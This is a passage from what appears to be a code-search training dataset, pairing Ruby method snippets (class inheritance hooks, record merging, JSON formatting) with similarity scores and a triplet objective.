"def inherited_instance_variables\n {\n :@cache_anonymous_models=>nil,\n :@dataset_method_modules=>:dup,\n :@dataset_module_class=>nil,\n :@db=>nil,\n :@default_set_fields_options=>:dup,\n :@fast_instance_delete_sql=>nil,\n :@fast_pk_lookup_sql=>nil,\n :@plugins=>:dup,\n :@primary_key=>nil,\n :@raise_on_save_failure=>nil,\n :@raise_on_typecast_failure=>nil,\n :@require_modification=>nil,\n :@require_valid_table=>nil,\n :@restrict_primary_key=>nil,\n :@setter_methods=>nil,\n :@simple_pk=>nil,\n :@simple_table=>nil,\n :@strict_param_setting=>nil,\n :@typecast_empty_string_to_nil=>nil,\n :@typecast_on_assignment=>nil,\n :@use_transactions=>nil\n }\n end",
"def set_derived_fields\n self.graduation_rate_all_students = to_graduation_rate_all_students\n end",
"def included(child_class)\n HasFields.add_default_resolve_module(child_class)\n # Also, prepare a place for default field implementations\n super\n end",
"def attributes(_record)\n raise 'Abstract method attributes should be overriden'\n end",
"def inherited(subclass)\n super\n changed\n notify_observers :observed_class_inherited, subclass\n end",
"def protected_instance_methods(include_super=true) end",
"def public_instance_methods(include_super=true) end",
"def set_derived_fields\n self.type = weams_type\n self.va_highest_degree_offered = highest_degree_offered\n\n self.flight = flight?\n self.correspondence = correspondence?\n self.approved = approved?\n\n true\n end",
"def inherited(subclass)\n raise BudaError, \"Cannot subclass a frozen Buda class\" if frozen?\n super\n subclass.instance_variable_set(:@inherit_middleware, @inherit_middleware)\n subclass.instance_variable_set(:@middleware, @inherit_middleware ? @middleware.dup : [])\n subclass.instance_variable_set(:@opts, opts.dup)\n subclass.opts.to_a.each do |k,v|\n if (v.is_a?(Array) || v.is_a?(Hash)) && !v.frozen?\n subclass.opts[k] = v.dup\n end\n end\n subclass.instance_variable_set(:@route_block, @route_block)\n subclass.send(:build_rack_app)\n \n # request_class = Class.new(self::BudaRequest)\n # request_class.buda_class = subclass\n # request_class.match_pattern_cache = BudaCache.new\n # subclass.const_set(:BudaRequest, request_class)\n #\n # response_class = Class.new(self::BudaResponse)\n # response_class.buda_class = subclass\n # subclass.const_set(:BudaResponse, response_class)\n end",
"def inherited(klass); end",
"def inherited(klass); end",
"def inherited(subclass)\n subclass.inherit_registry(registry)\n end",
"def inherited( subclass )\n\t\tplugin_class = Pluggability.plugin_base_class( subclass )\n\n\t\tPluggability.logger.debug \"%p inherited by %p\" % [ plugin_class, subclass ]\n\t\tkeys = [ subclass ]\n\n\t\t# If it's not an anonymous class, make some keys out of variants of its name\n\t\tif subclass.name\n\t\t\tkeys += plugin_class.make_derivative_names( subclass )\n\t\telse\n\t\t\tPluggability.log.debug \" no name-based variants for anonymous subclass %p\" % [ subclass ]\n\t\tend\n\n\t\tkeys.compact!\n\t\tkeys.uniq!\n\n\t\t# Register it under each of its name variants\n\t\tkeys.each do |key|\n\t\t\tPluggability.log.debug \"Registering %s derivative of %s as %p\" %\n\t\t\t\t[ subclass.name, plugin_class.name, key ]\n\t\t\tplugin_class.derivatives[ key ] = subclass\n\t\tend\n\n\t\t# Add a name attribute to it\n\t\tclass << subclass\n\t\t\tattr_reader :plugin_name\n\t\tend\n\t\tsubclass.instance_variable_set( :@plugin_name, keys.last )\n\n\t\tsuper\n\tend",
"def inherited(subclass)\n subclass.namespace self.namespace\n subclass.build_filelist self.build_filelist\n end",
"def inherited_with_inheritable_attributes(child)\n inherited_without_inheritable_attributes(child) if respond_to?(:inherited_without_inheritable_attributes)\n \n new_inheritable_attributes = {}\n inheritable_attributes.each do |key, value|\n new_inheritable_attributes[key] = value.dup rescue value\n end\n \n child.instance_variable_set('@inheritable_attributes', new_inheritable_attributes)\n end",
"def subclass_from_attributes(attrs)\n active_authorizer[:default].deny?(inheritance_column) ? nil : super\n end",
"def inherited(subclass)\n raise RodaError, \"Cannot subclass a frozen Roda class\" if frozen?\n\n # Mark current class as having been subclassed, as some optimizations\n # depend on the class not being subclassed\n opts[:subclassed] = true\n\n super\n subclass.instance_variable_set(:@inherit_middleware, @inherit_middleware)\n subclass.instance_variable_set(:@middleware, @inherit_middleware ? @middleware.dup : [])\n subclass.instance_variable_set(:@opts, opts.dup)\n subclass.opts.delete(:subclassed)\n subclass.opts.to_a.each do |k,v|\n if (v.is_a?(Array) || v.is_a?(Hash)) && !v.frozen?\n subclass.opts[k] = v.dup\n end\n end\n if block = @raw_route_block\n subclass.route(&block)\n end\n \n request_class = Class.new(self::RodaRequest)\n request_class.roda_class = subclass\n request_class.match_pattern_cache = RodaCache.new\n subclass.const_set(:RodaRequest, request_class)\n\n response_class = Class.new(self::RodaResponse)\n response_class.roda_class = subclass\n subclass.const_set(:RodaResponse, response_class)\n end",
"def additional_fields; self.class.additional_fields end",
"def additional_fields; self.class.additional_fields end",
"def additional_fields; self.class.additional_fields end",
"def inherited(subclass)\n super\n\n subclass.stradivari_filter_options(\n self.stradivari_filter_options\n )\n\n subclass.stradivari_scopes.update(\n self.stradivari_scopes\n )\n end",
"def initialize(*_)\n super\n end",
"def initialize\n super\n\n @name = UNSET\n @description = UNSET\n end",
"def initialize\n # Since we want the ProfessionalLife model to be a proper ActiveRecord class,\n # we need to call the initialize function of the superclass first\n super \n \n ALL_FIELDS.each do |field|\n self[field] = \"\"\n end\n end",
"def instance_methods(include_super=true) end",
"def instance_fields(&block)\n @fields.each { |field| block[field] }\n @super_class.instance_fields(&block) if @super_class\n end",
"def initialize(child:, fields:)\n @child = child\n @fields = fields\n end"
] |
[
"0.82873887",
"0.78663033",
"0.7751325",
"0.7615113",
"0.7586807",
"0.732785",
"0.7183797",
"0.71493727",
"0.70992875",
"0.69389707",
"0.69261026",
"0.69217896",
"0.69180936",
"0.68682444",
"0.68166894",
"0.67152816",
"0.6712096",
"0.6712096",
"0.67065984",
"0.6606857",
"0.65571564",
"0.65066063",
"0.6488423",
"0.6485746",
"0.6463822",
"0.6447866",
"0.64408576",
"0.642362",
"0.63999665",
"0.638837",
"0.63866955",
"0.6319483",
"0.6279227",
"0.6262815",
"0.62580585",
"0.62530094",
"0.6246762",
"0.62398183",
"0.6235313",
"0.6232329",
"0.62205786",
"0.6200512",
"0.61958927",
"0.61954993",
"0.6186767",
"0.61782455",
"0.6178107",
"0.6159277",
"0.61204016",
"0.61073005",
"0.61071575",
"0.60833997",
"0.6074946",
"0.6010493",
"0.6000125",
"0.59910214",
"0.5989619",
"0.5970081",
"0.59540546",
"0.5948985",
"0.5945544",
"0.58793324",
"0.58771724",
"0.58614975",
"0.58472705",
"0.58343446",
"0.58117086",
"0.57767034",
"0.57392305",
"0.57324374",
"0.5725899",
"0.57171506",
"0.5708992",
"0.57048154",
"0.56817263",
"0.56810045",
"0.56785494",
"0.5672469",
"0.56688577",
"0.5648521",
"0.5641001",
"0.56337273",
"0.5631759",
"0.5631759",
"0.5623511",
"0.5611961",
"0.56094676",
"0.560848",
"0.5598223",
"0.55859506",
"0.55789346",
"0.55789346",
"0.55789346",
"0.5561915",
"0.554883",
"0.55406946",
"0.5537307",
"0.5524633",
"0.5501785",
"0.5500125"
] |
0.80845064
|
1
|
Create a copy of the record and merge the data into it.
|
def merge(data)
ProcessRecord.build(to_hash).tap do |record|
data.each do |key, val|
record.send("%s=" % key, val)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def merge!(another_record)\n new_one = self.dup\n [:last, :first, :sex, :birthday, :age, :address, :phone, :email].each do |key|\n if new_val = another_record.send(key)\n self.send(\"#{key}=\", new_val)\n end\n end\n end",
"def update\n record.assign_attributes(data)\n record.save! if record.changed?\n end",
"def merge_into(record)\n return false unless record.class == self.class && self.class.merge_records(self, id, record.id)\n record.reload\n end",
"def clone\n copy = super\n transaction do\n copy.save!\n\n %w[\n registration_information support information_source advance_directive\n ].each do |assoc|\n copy.send(\"#{assoc}\\=\", send(assoc).clone) if send(assoc)\n end\n\n %w[\n patient_identifiers languages providers medications allergies conditions\n all_results immunizations encounters procedures medical_equipments social_history insurance_providers\n ].each do |assoc|\n send(assoc).each do |item|\n copy.send(assoc) << item.clone\n end\n end\n\n end\n copy\n end",
"def clone\n attr = Hash.new\n\n self.attribute_names.each do |name|\n begin\n attr[name] = read_attribute(name).clone\n rescue TypeError\n attr[name] = read_attribute(name)\n end\n end\n\n cloned_record = self.class.new(attr)\n cloned_record.instance_variable_set \"@new_record\", true\n cloned_record.id = nil\n cloned_record\n end",
"def set_new_record(record)\n replace(record)\n end",
"def copy\n obj = self.dup\n obj.attributes = {\n :name => \"Copy of #{name}\",\n :active => false,\n :created_at => nil,\n :updated_at => nil\n }\n obj\n end",
"def deep_copy\n field_copy = self.dup\n field_copy.save!\n field_copy\n end",
"def make_copy\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend",
"def build_new_record\n @record = record_class.new\n end",
"def build_new_record\n @record = record_class.new\n end",
"def enhance_batch!(conn, record_batch)\n return record_batch if record_batch.nil? || record_batch.empty?\n\n copy_info = get_joined_table(\n conn, record_batch,\n :table_name => \"copy\",\n :column_map => settings['horizon.copy_map'],\n :join_clause => settings['horizon.copy_join_clause'],\n :public_only => (settings['horizon.public_only'].to_s == \"true\")\n ) if %w{all copies direct}.include? settings['horizon.include_holdings'].to_s\n\n\n\n item_info = get_joined_table(\n conn, record_batch,\n :table_name => \"item\",\n :column_map => settings['horizon.item_map'],\n :join_clause => settings['horizon.item_join_clause'],\n :public_only => (settings['horizon.public_only'].to_s == \"true\")\n ) if %w{all items direct}.include? settings['horizon.include_holdings'].to_s\n\n\n\n if item_info || copy_info\n record_batch.each do |record|\n id = record['001'].value.to_s\n record_copy_info = copy_info && copy_info[id]\n record_item_info = item_info && item_info[id]\n\n record_copy_info.each do |copy_row|\n field = MARC::DataField.new( settings[\"horizon.copy_tag\"] )\n copy_row.each_pair do |subfield, value|\n field.append MARC::Subfield.new(subfield, value)\n end\n record.append field\n end if record_copy_info\n\n record_item_info.each do |item_row|\n field = MARC::DataField.new( settings[\"horizon.item_tag\"] )\n item_row.each_pair do |subfield, value|\n field.append MARC::Subfield.new(subfield, value)\n end\n record.append field\n end if record_item_info && ((settings['horizon.include_holdings'].to_s != \"direct\") || record_copy_info.empty?)\n end\n end\n\n return record_batch\n end",
"def data_for_create\n data = {\n event: @record.paper_trail_event || \"create\",\n whodunnit: PaperTrail.request.whodunnit\n }\n if @record.respond_to?(:updated_at)\n data[:created_at] = @record.updated_at\n end\n if record_object_changes? && changed_notably?\n data[:object_changes] = recordable_object_changes(changes)\n end\n add_transaction_id_to(data)\n merge_metadata_into(data)\n end",
"def dup\n h = super\n h.fields = @fields.dup\n h.mbox_from = @mbox_from\n h\n end",
"def to_new_record!\n store_before_to_new_record_values\n reset_persistence_values\n @new_record = true\n end",
"def from_record(record)\n end",
"def addRecord(rec); @records[rec.key] = rec end",
"def clone\n\t\t\tCData.new self\n\t\tend",
"def dup_for_reference\n dup.tap do |r|\n r.created_at = self.created_at\n # r.id = nil # done by dup\n # r.instance_variable_set(\"@association_cache\", self.instance_variable_get(:association_cache))\n end\n end",
"def dup\n Data.new( sheet, @data.map(&:dup) )\n end",
"def dup\n new_object = super\n new_object.send :initialize_attributes, @attributes\n new_object\n end",
"def dup\n\n # duplicate self\n rta = super\n\n # iterate through array and dup each hash\n rta.each_with_index do |w_hash, index|\n\n # dup the hash at this index\n rta[index] = w_hash.dup\n\n # to be complete, also dup the key/values in the hash, in case another hash/array is nested\n w_hash.each_pair do |k, v|\n rta[index][k] = v.dup if v.is_a? Hash\n end\n end\n\n # now everything should have new object_id's\n rta\n end",
"def copy\n copy = self.clone\n copy.delete_all\n @collection.each do |obj|\n copy.add_param(obj.key,obj.value,obj.type)\n end\n return copy\n end",
"def dup\n\n Workitem.new(Rufus::Json.dup(@h))\n end",
"def copy\n\t\t\treturn self.dup\n\t\tend",
"def data_for_update\n data = {\n event: @record.paper_trail_event || \"update\",\n object: recordable_object,\n whodunnit: PaperTrail.request.whodunnit\n }\n if @record.respond_to?(:updated_at)\n data[:created_at] = @record.updated_at\n end\n if record_object_changes?\n data[:object_changes] = recordable_object_changes(changes)\n end\n add_transaction_id_to(data)\n merge_metadata_into(data)\n end",
"def dup_entity (options={})\n entity = super(options)\n entity.update_attributes(:data => self.data) if data\n entity.eng_unit_type = self.eng_unit_type.dup_entity(options) if eng_unit_type\n entity.save\n return entity\n end",
"def replicate\n\n self.class.new(document, ref, source: source.dup)\n end",
"def clone\r\n attrs = self.attributes_before_type_cast\r\n self.class.primary_keys.each {|key| attrs.delete(key.to_s)}\r\n self.class.new do |record|\r\n record.send :instance_variable_set, '@attributes', attrs\r\n end\r\n end",
"def create(key, contents)\n store.write do |data| \n \n data[:columns][column][key] = contents \n\n Record.new(column, key, contents)\n end\n end",
"def clone_for_template(document)\n dup_field = self.dup\n dup_field.document = document\n dup_field\n end",
"def write_or_merge_with_existing(new_record, maximum_time_gap)\n write_new_record = true\n last_record = BillingRecord.most_recent_like(new_record)\n # If the previous record for this resource/billing type has the same\n # hourly rate and billing codes, just update the previous record\n if last_record && last_record.overlaps_with(new_record, maximum_time_gap)\n if (last_record.cost_per_hour.round(PRECISION) ==\n new_record.cost_per_hour.round(PRECISION)) &&\n (last_record.billing_codes == new_record.billing_codes)\n @log.debug \"Updating record #{last_record.id} for \"+\n \" #{new_record.resource_type} #{new_record.resource_id}\"+\n \" in account #{new_record.account}\"\n last_record.merge_with new_record\n write_new_record = false\n else # If the previous record has different rate or codes...\n # Make the new record begin where the previous one leaves off\n new_record.start_time = last_record.stop_time\n end\n end\n if write_new_record\n @log.debug \"Creating new record for for #{new_record.resource_type}\"+\n \" #{new_record.resource_id} in account #{new_record.account}\"\n ActiveRecord::Base.connection_pool.with_connection {new_record.save!}\n end\n end",
"def dup_for_reference\n dup.tap do |r|\n r.created_at = self.created_at\n r.instance_variable_set(\"@association_cache\", self.association_cache)\n end\n end",
"def clone\n newobj = Marshal.load(Marshal.dump(self))\n props = newobj.instance_variable_get(:@props)\n props[:id] = Engine.instance.db.getid\n put_object(newobj)\n newobj\n rescue\n log.error \"Clone failed\"\n nil\n end",
"def dup\n returning self.class.new do |resource|\n resource.attributes = @attributes\n end\n end",
"def deep_copy\n algorithm_copy = self.dup\n self.general_fields.each{ |field| algorithm_copy.general_fields << field.deep_copy }\n self.input_parameters.each{ |input_parameter| algorithm_copy.input_parameters << input_parameter.deep_copy }\n self.method_fields.each{ |field| algorithm_copy.method_fields << field.deep_copy }\n algorithm_copy.generate_secure_id(true) # Overwrite secure id\n algorithm_copy.save(validate: false) # Can't do validations before the fields are saved(created!) the first time\n self.zip_file.copy_file(algorithm_copy.id) # Need to copy the file, since CarrierWave won't do that for us...\n algorithm_copy.save! # Save it for real!\n algorithm_copy\n end",
"def create\n upsert do\n # NOTE: create!() is not used because assign to @record to draw form.\n # Otherwise, @record would be in nil so failure at edgarj/_form rendering.\n #\n # NOTE2: valid? after create() calls validate_on_update. This is not\n # an expected behavior. So, new, valid?, then save.\n @record = model.new(permitted_params(:create))\n @record_saved = @record # copy for possible later use\n on_upsert\n #upsert_files\n raise ActiveRecord::RecordNotSaved if !@record.valid?\n @record.save\n\n # clear @record values for next data-entry\n @record = model.new\n end\n end",
"def create(contents)\n store.write do |data| \n id = (data[:identifiers][column] += 1)\n \n data[:columns][column][id] = contents \n\n Record.new(column, id, contents)\n end\n end",
"def dup( )\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend",
"def new_record(template, domain, record)\n r = Record.new\n\n r.domain_id = domain.id\n r.name = subst(domain, template.name)\n\n if template.type == \"A\" || template.type == \"CNAME\" || template.type == \"AAAA\"\n r.name += \".\" unless template.name.empty?\n r.name += domain.name\n end\n\n r.type = template.type\n\n if template.type == \"A\" || template.type == \"AAAA\"\n unless record[1].empty?\n r.content = record[1]\n else\n r.content = template.content\n record[1] = template.content\n end\n else\n r.content = subst(domain, template.content)\n end\n\n r.ttl = template.ttl\n r.prio = template.prio\n r.change_date = Time.now.to_i\n\n r.save\n return r\n end",
"def dup\n new_address = super\n new_address.instance_variable_set(:@created_at, nil)\n new_address.send(:update_timestamps)\n new_address\n end",
"def dup\n obj = super\n obj.duplicated_from = self\n obj.resource = self.resource_file\n uhook_duplicated_object(obj)\n\n obj\n end",
"def clone\n self.class.new(@attributes.except(:_id).except(:versions).dup)\n end",
"def copy_record\n obj = find_checked_items\n @refresh_partial = \"timeprofile_copy\"\n @redirect_id = obj[0]\n end",
"def clone\n h = super\n h.fields = Marshal::load(Marshal::dump(@fields))\n h.mbox_from = Marshal::load(Marshal::dump(@mbox_from))\n h\n end",
"def to_change\n if @deleted_at\n Dropbox::RecordChanges::Delete.new(record: self)\n else\n unless self.rowid\n self.rowid = Digest::SHA1.hexdigest(rand.to_s)\n Dropbox::RecordChanges::Create.new(record: self)\n else\n Dropbox::RecordChanges::Update.new(record: RecordOperation.from_record(self))\n end\n end\n end",
"def add_record(record)\n condensed_record = condense_record(record)\n load_atoms(condensed_record)\n add_occurences(condensed_record,record.id)\n @records_size += 1\n end",
"def +(document)\n original, target = [to_raw, document.to_raw].map{ |raw| raw.except(*%w(uuid version previous_version)) }\n\n Document.new(@store, original.merge(target).merge(:uuid => Util.random_uuid), true)\n end",
"def merge(...)\n self.clone.merge!(...)\n end",
"def copy\n Marshal.load(Marshal.dump(self))\n end",
"def copy_from(arg)\n time_entry = arg.is_a?(TimeEntry) ? arg : TimeEntry.visible.find(arg)\n self.attributes = time_entry.attributes.dup.except(\"id\", \"created_on\", \"updated_on\")\n self.custom_field_values = time_entry.custom_field_values.inject({}) {|h,v| h[v.custom_field_id] = v.value; h}\n # @copied_from = time_entry\n self\n end",
"def append(model, data)\n data.group_by { |row| row[:record_id] }.each do |record_id, changes|\n @records << Record.new(model, record_id, changes.map { |c| c.slice(:column_name, :value, :changed_at)})\n end\n @length = nil\n self\n end",
"def merge!(data)\n data = data.with_indifferent_access\n data.delete(:SecurityKey)\n populate_properties(data)\n self\n end",
"def record=(record)\n self.record_data = Base64.encode64(Marshal.dump(record))\n end",
"def clone\n self.class.new(raw.clone)\n end",
"def deepcopy\n\t\tMarshal.load(Marshal.dump(self))\n\tend",
"def record_to_object(record)\n record\n end",
"def __deep_copy__\n self.class.new(aliases, serializers, associations, aliased_associations) do |copy|\n each_pair do |key, value|\n copy.merge!(key => value.__deep_copy__)\n end\n end\n end",
"def copy\n new_attributes = self.attributes\n new_attributes.delete(:id)\n file = WSFile.create(new_attributes)\n owner = self.permissions(level: 'owner').user.first\n Permission.create(user: owner, file: file, level: \"owner\")\n self.assets.each do |asset|\n file.assets.push asset\n end\n self.children.each do |child|\n file.children.push child.copy\n end\n file.save\n file.data = self.data\n file\n end",
"def copy\n self.class.new.tap do |obj|\n self.each_pair do |key, val|\n obj.set(key => (val.is_a?(Array) or val.is_a?(Hash)) ? val.clone : val)\n end\n end\n end",
"def copy\n self.class.new.tap do |obj|\n self.each_pair do |key, val|\n obj.set(key => (val.is_a?(Array) or val.is_a?(Hash)) ? val.clone : val)\n end\n end\n end",
"def data\n data = {\n item: @record,\n event: @record.paper_trail_event || \"update\",\n whodunnit: PaperTrail.request.whodunnit\n }\n if record_object?\n data[:object] = recordable_object(@is_touch)\n end\n merge_object_changes_into(data)\n merge_item_subtype_into(data)\n merge_metadata_into(data)\n end",
"def duplicate\n p = self.dup\n p.name = 'COPY OF ' + name\n p.deleted_at = nil\n p.created_at = p.updated_at = nil\n p.taxons = taxons\n\n p.product_properties = product_properties.map { |q| r = q.dup; r.created_at = r.updated_at = nil; r }\n\n image_dup = lambda { |i| j = i.dup; j.attachment = i.attachment.clone; j }\n\n variant = master.dup\n variant.sku = 'COPY OF ' + master.sku\n variant.deleted_at = nil\n variant.images = master.images.map { |i| image_dup.call i }\n p.master = variant\n\n # don't dup the actual variants, just the characterising types\n p.option_types = option_types if has_variants?\n\n # allow site to do some customization\n p.send(:duplicate_extra, self) if p.respond_to?(:duplicate_extra)\n p.save!\n p\n end",
"def create_record!(record)\n @created += 1\n begin\n ar_record = target_class.new(record_attributes(record))\n ar_record.save!\n return ar_record\n rescue ActiveRecord::RecordInvalid => e \n ar_record.save!(:validate => false)\n @invalid_records += 1\n raise e\n end\n end",
"def dup_entity (options = {})\n entity = super(options)\n entity.default_eng_unit_type = self.default_eng_unit_type.dup_entity(options) if default_eng_unit_type\n object_data.each { |o| entity.object_data << o.dup_entity(options) if o}\n entity.save\n return entity\n end",
"def dup_entity (options = {})\n entity = super(options)\n entity.update_attributes(:start => self.send(:start))\n entity.update_attributes(:end => self.send(:end))\n \n entity.logged_asset = self.logged_asset if logged_asset\n assets.each{ |a| entity.assets << a if a}\n entity.save\n return entity\n end",
"def from_record(ref, record)\n obj = self.new(ref)\n\n # This smells, but we don't want to actually expose the internal record\n obj.instance_variable_set(\"@record\", record)\n obj\n end",
"def dup\n Ably::Models::IdiomaticRubyWrapper.new(attributes.dup, stop_at: stop_at.keys)\n end",
"def copy\n dup\n end",
"def duplicate!(recipient=nil, options={})\n Document.transaction do\n # Clone the document.\n newattrs = attributes.dup.merge({\n :access => PENDING,\n :created_at => Time.now,\n :updated_at => Time.now\n })\n newattrs.delete('id')\n newattrs[:account_id] = recipient.id if recipient\n newattrs[:organization_id] = recipient.organization.id if recipient and not newattrs[:organization_id]\n copy = Document.create!(newattrs.merge({:hit_count => 0, :detected_remote_url => nil}))\n newattrs = {:document_id => copy.id}\n\n # Clone the docdata.\n if docdata and options['include_docdata']\n Docdata.create! document_id: copy_id, data: docdata.data.dup\n end\n\n # Clone the associations.\n associations = [entities, entity_dates, pages]\n associations.push sections if options['include_sections']\n # Copy all notes that are visible by either the document owner or the recipient\n account_context = options['as_owner'] ? self.account : recipient\n associations.push annotations.accessible(account_context) if options['include_annotations']\n # Copy the new document into all of the same projects as the old document\n associations.push project_memberships if options['include_project']\n associations.each do |association|\n association.each do |model|\n model_attrs = model.attributes.dup.merge newattrs\n model_attrs.delete('id')\n model.class.create! model_attrs\n end\n end\n\n # Clone the assets.\n DC::Store::AssetStore.new.copy_assets(self, copy, self.access)\n\n # Reindex, set access.\n copy.index\n copy.set_access access\n\n copy\n end\n end",
"def record()\n name = @name_source.record()\n Person.new( name,\n @address_source.record(),\n @phone_number_source.record(),\n @email_address_source.record_from_name(name) )\n end",
"def hash_dup\n save\n end",
"def copy_attributes(other, duplicator)\n self.course = duplicator.options[:destination_course]\n self.default_reference_time = duplicator.duplicate(other.default_reference_time)\n\n other_reference_times = other.reference_times - [other.default_reference_time]\n self.reference_times = duplicator.duplicate(other_reference_times).unshift(default_reference_time)\n\n self.title = other.title\n self.description = other.description\n self.published = duplicator.options[:unpublish_all] ? false : other.published\n self.base_exp = other.base_exp\n self.time_bonus_exp = other.time_bonus_exp\n end",
"def atomic_updates(*args)\n r = super(*args)\n if @records\n (r['$set'] ||= {})['records'] = serialize_records\n end\n r\n end",
"def load\n super\n slice_records!\n\n self\n end",
"def load(record, bulk = false)\n return unless record.is_a?(Hash) && record.has_keys?(keys)\n if bulk\n # just insert the record, this is a bulk load of data\n new(record)\n else\n\n # Do I already have a record with these key values?\n s = {}\n keys.each { |k| s[k] = record[k] }\n r = find(s)\n if r\n # Update the existing record with new data\n # making an assumption that there is one record found.\n # probably should be an error if more than one is returned. Another day.\n r = r[0]\n\n # Remove the k/v pairs that are keys so they aren't changed\n cr = record.reject {|k,v| keys.include?(k) }\n\n # I already have a record with these keys\n # add the stats in record to the one I already have\n cr.each_pair do |k, v|\n v = 0 if v.nil?\n if r[k]\n # this key already exists in my record so add the new value to me\n if r[k].is_a?(Numeric) && v.is_a?(Numeric)\n r.send(\"#{k.to_s}=\".to_sym, r[k] + v)\n else\n # force both to strings and append - good for tracking player team/league movement\n r.send(\"#{k.to_s}=\".to_sym, \"#{r[k].to_s} - #{v.to_s}\")\n end\n else\n # Insert, this is a new key so create it\n r.send(\"#{k.to_s}=\".to_sym, v)\n end\n end\n else\n # this is a new record so create it\n new(record)\n end\n end\n end",
"def copy(row)\n @row = row.to_a\n @last_row = row.last_row\n @row_number = row.row_number\n end",
"def upsert_record\n connection.change_resource_record_sets(\n hosted_zone_id: @zone,\n change_batch: {\n changes: [\n {\n action: 'UPSERT',\n resource_record_set: {\n name: @resource[:record],\n type: @resource[:type],\n ttl: @resource[:ttl],\n resource_records: @resource[:value].map { |value| { value: value } }\n }\n }\n ]\n }\n )\n end",
"def extend(records)\n @records += records\n end",
"def record()\n street = @street_name_source.record() \n house_number = @house_number_source.record()\n postal_code_and_town = @postal_town_source.record()\n # Very fragile / relies on proper input data file:\n postal_code, town = postal_code_and_town.match(/(\\w+)\\s+(.+)/)[1,2]\n Address.new( house_number, street, postal_code, town )\n end",
"def clone\n Marshal.load(Marshal.dump(self))\n end",
"def clone\n Marshal.load(Marshal.dump(self))\n end",
"def clone\n Marshal.load(Marshal.dump(self))\n end",
"def clone\n Marshal.load(Marshal.dump(self))\n end",
"def clone\n Marshal.load(Marshal.dump(self))\n end",
"def data\n super.dup.merge(date: date)\n end",
"def build_duplicate(builder, metadata)\n builder.id = @id\n builder.metadata = DeserializedObject.new metadata\n builder.payload = @serialized_payload\n builder.timestamp = @timestamp\n end",
"def clone\n self.copy\n end",
"def clone\n self.copy\n end",
"def __deep_copy__\n self.class.new(aliases, serializers) do |copy|\n each_pair do |key, value|\n copy.store(key, value.__deep_copy__)\n end\n end\n end",
"def dup\n duped_rows = rows.map(&:dup)\n self.class.new(duped_rows)\n end",
"def copy_from(original)\n self.template = original.template\n self.position = original.position\n self.data = original.data\n self\n end",
"def add_record(record)\n return unless @if_proc.call(record)\n\n condensed_record = condense_record(record)\n atoms = add_occurences(condensed_record, record.id)\n\n @storage.add(atoms)\n end",
"def create(record)\n result = self.class.post(worksheet_url,\n :body => { \"fields\" => record.fields }.to_json,\n :headers => { \"Content-type\" => \"application/json\" }).parsed_response\n if result.present? && result[\"id\"].present?\n record.override_attributes!(result_attributes(result))\n record\n else # failed\n false\n end\n end",
"def duplicate\n enhance_settings\n\n p = self.dup\n p.category = 'COPY OF ' + category\n p.created_at = p.updated_at = nil\n p.url = url\n p.attachment = attachment\n\n # allow site to do some customization\n p.send( :duplicate_extra, self ) if p.respond_to?( :duplicate_extra )\n p.save!\n \n p\n end",
"def set_or_replace_record(obj)\r\n @records.delete_if {|record| record.id == obj.id }\r\n obj.id ||= (@id_counter += 1)\r\n\r\n # Dup to clean up any extra added pieces, like Errors\r\n @records << obj.dup\r\n\r\n obj\r\n end",
"def <<(record)\n @records << record\n end",
"def <<(record)\n @records << record\n end",
"def insert(record, sync: true)\n record = klass.new(**record) if record.is_a?(Hash)\n row = record.to_row(header)\n ws.update_cells(*next_row_col, [row])\n ws.synchronize if sync\n record\n end",
"def clone\n return Marshal.load(Marshal.dump(self))\n end"
] |
[
"0.6531004",
"0.62242603",
"0.6178848",
"0.6129191",
"0.61047024",
"0.60965014",
"0.60790074",
"0.60671216",
"0.59986126",
"0.5986893",
"0.5986893",
"0.5944973",
"0.5940512",
"0.5869412",
"0.586248",
"0.58532983",
"0.5796624",
"0.5792037",
"0.5788421",
"0.57796067",
"0.57516676",
"0.5708635",
"0.5708024",
"0.5694694",
"0.56904364",
"0.5688561",
"0.5686701",
"0.5667836",
"0.56648535",
"0.5655708",
"0.56527805",
"0.56312746",
"0.5628992",
"0.5628563",
"0.5623539",
"0.5617166",
"0.5607884",
"0.560636",
"0.5582585",
"0.5579182",
"0.5556618",
"0.55337256",
"0.552864",
"0.55270666",
"0.5525389",
"0.55220675",
"0.551476",
"0.55112016",
"0.5507658",
"0.5506943",
"0.55029273",
"0.54939973",
"0.5492093",
"0.5491666",
"0.5490072",
"0.54898626",
"0.54881096",
"0.54805297",
"0.5474277",
"0.5473006",
"0.5473006",
"0.5461421",
"0.54611987",
"0.54555523",
"0.54493",
"0.54437435",
"0.54411453",
"0.543294",
"0.5430603",
"0.5429163",
"0.5413489",
"0.5409445",
"0.5398689",
"0.5395536",
"0.5386682",
"0.53805315",
"0.53777415",
"0.536673",
"0.53546107",
"0.5349455",
"0.53472483",
"0.53472483",
"0.53472483",
"0.53472483",
"0.53472483",
"0.5343262",
"0.53418446",
"0.53365356",
"0.53365356",
"0.533109",
"0.53307694",
"0.5330202",
"0.5326259",
"0.5325884",
"0.53230727",
"0.5321189",
"0.5321104",
"0.5321104",
"0.53176874",
"0.53165466"
] |
0.56871533
|
26
|
Format as a JSON string.
|
def format(log_id)
JSON.dump(to_hash.merge(log_id: log_id))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def as_json(*_args)\n to_s\n end",
"def formatJSON\n # @formattedContents = .... whatever puts it into JSON\n end",
"def to_nice_json\n JSON.pretty_generate to_hash\n end",
"def to_nice_json\n JSON.pretty_generate to_hash\n end",
"def as_json\n to_s.as_json\n end",
"def as_json(_options = nil)\n to_s\n end",
"def to_json_string\n MARC::JSONLWriter.encode(self)\n end",
"def to_json\n to_s.to_json\n end",
"def toJsonString(prettyP = false)\n case(prettyP)\n when(true) ;\n return JSON.pretty_generate(toJson()) ;\n when(:line) ;\n _strList = @entryList.map{|entry| JSON.generate(entry.toJson())} ;\n return \"[\\n #{_strList.join(\",\\n \")}\\n]\" ;\n else\n return JSON.generate(toJson()) ;\n end\n end",
"def to_s\n JSON.pretty_generate(@json)\n end",
"def as_json(options=nil)\n to_s\n end",
"def format_json\n {\n id: self.id,\n email: self.email,\n username: self.username,\n first_name: self.first_name,\n last_name: self.last_name,\n tagline: self.tagline,\n bio: self.bio,\n avatar: self.avatar,\n default_league_id: self.default_league_id\n }\n end",
"def to_json\n JSON.pretty_generate(to_h)\n end",
"def format\n :json\n end",
